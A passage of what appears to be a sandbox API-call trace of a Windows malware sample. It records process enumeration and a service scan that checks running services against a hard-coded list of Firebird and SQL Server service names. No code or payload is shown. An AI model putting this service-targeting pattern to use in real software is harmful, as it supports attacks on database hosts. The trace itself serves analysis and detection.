lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.031] lstrlenW (lpString="svchost.exe") returned 11 [0230.031] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.031] lstrlenW (lpString="svchost.exe") returned 11 [0230.031] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.032] lstrlenW (lpString="svchost.exe") returned 11 [0230.032] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.032] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.032] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.032] lstrlenW (lpString="svchost.exe") returned 11 [0230.032] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.033] lstrlenW (lpString="audiodg.exe") returned 11 [0230.033] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.033] lstrlenW (lpString="svchost.exe") returned 11 [0230.033] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.033] lstrlenW (lpString="sihost.exe") returned 10 [0230.033] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0230.034] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0230.034] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0230.034] lstrlenW (lpString="Memory Compression") returned 18 [0230.034] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.034] lstrlenW (lpString="taskhostw.exe") returned 13 [0230.034] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0230.035] lstrlenW (lpString="userinit.exe") returned 12 [0230.035] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.035] lstrlenW (lpString="explorer.exe") returned 12 [0230.035] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.035] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0230.035] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.036] lstrlenW (lpString="SearchUI.exe") returned 12 [0230.036] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.036] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0230.036] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0230.036] lstrlenW (lpString="winhost.exe") returned 11 [0230.037] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.037] lstrlenW (lpString="cmd.exe") returned 7 [0230.037] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.037] lstrlenW (lpString="conhost.exe") returned 11 [0230.037] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0230.037] CloseHandle (hObject=0x4d4) returned 1 [0230.037] Sleep (dwMilliseconds=0x1f4) [0230.569] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0230.570] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0230.570] GetLastError () returned 0xea [0230.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5ded10 [0230.570] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5ded10, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5ded10, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0230.571] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0230.571] lstrlenW (lpString="Appinfo") returned 7 [0230.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0230.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0230.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0230.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0230.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0230.571] lstrlenW (lpString="AppXSvc") returned 7 [0230.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0230.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0230.571] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0230.571] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0230.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0230.571] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0230.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.571] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0230.571] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0230.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0230.571] lstrlenW (lpString="Audiosrv") returned 8 [0230.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0230.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0230.572] lstrlenW (lpString="BFE") returned 3 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0230.572] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0230.572] lstrlenW (lpString="CDPSvc") returned 6 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0230.572] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0230.572] lstrlenW (lpString="CryptSvc") returned 8 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0230.572] lstrlenW (lpString="DcomLaunch") returned 10 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.572] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0230.572] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0230.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0230.572] lstrlenW (lpString="DeviceAssociationService") returned 24 [0230.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0230.573] lstrlenW (lpString="Dhcp") returned 4 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0230.573] lstrlenW (lpString="Dnscache") returned 8 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0230.573] lstrlenW (lpString="DPS") returned 3 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0230.573] lstrlenW (lpString="DusmSvc") returned 7 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0230.573] lstrlenW (lpString="EventLog") returned 8 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0230.573] lstrlenW (lpString="EventSystem") returned 11 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0230.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0230.573] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0230.573] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0230.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0230.573] lstrlenW (lpString="FontCache") returned 9 [0230.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0230.574] lstrlenW (lpString="gpsvc") returned 5 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0230.574] lstrlenW (lpString="iphlpsvc") returned 8 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0230.574] lstrlenW (lpString="KeyIso") returned 6 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0230.574] lstrlenW (lpString="LanmanServer") returned 12 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0230.574] lstrlenW (lpString="LanmanWorkstation") returned 17 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0230.574] lstrlenW (lpString="lfsvc") returned 5 [0230.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0230.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0230.574] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0230.574] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0230.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0230.574] lstrlenW (lpString="lmhosts") returned 7 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0230.575] lstrlenW (lpString="LSM") returned 3 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0230.575] lstrlenW (lpString="MpsSvc") returned 6 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0230.575] lstrlenW (lpString="NcbService") returned 10 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0230.575] lstrlenW (lpString="netprofm") returned 8 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0230.575] lstrlenW (lpString="NgcSvc") returned 6 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0230.575] lstrlenW (lpString="NlaSvc") returned 6 [0230.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0230.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0230.575] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0230.575] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0230.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0230.576] lstrlenW (lpString="nsi") returned 3 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0230.576] lstrlenW (lpString="PcaSvc") returned 6 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0230.576] lstrlenW (lpString="PlugPlay") returned 8 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0230.576] lstrlenW (lpString="Power") returned 5 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0230.576] lstrlenW (lpString="ProfSvc") returned 7 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0230.576] lstrlenW (lpString="RpcEptMapper") returned 12 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.576] lstrlenW (lpString="RpcSs") returned 5 [0230.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.576] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.576] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.577] lstrcmpiW 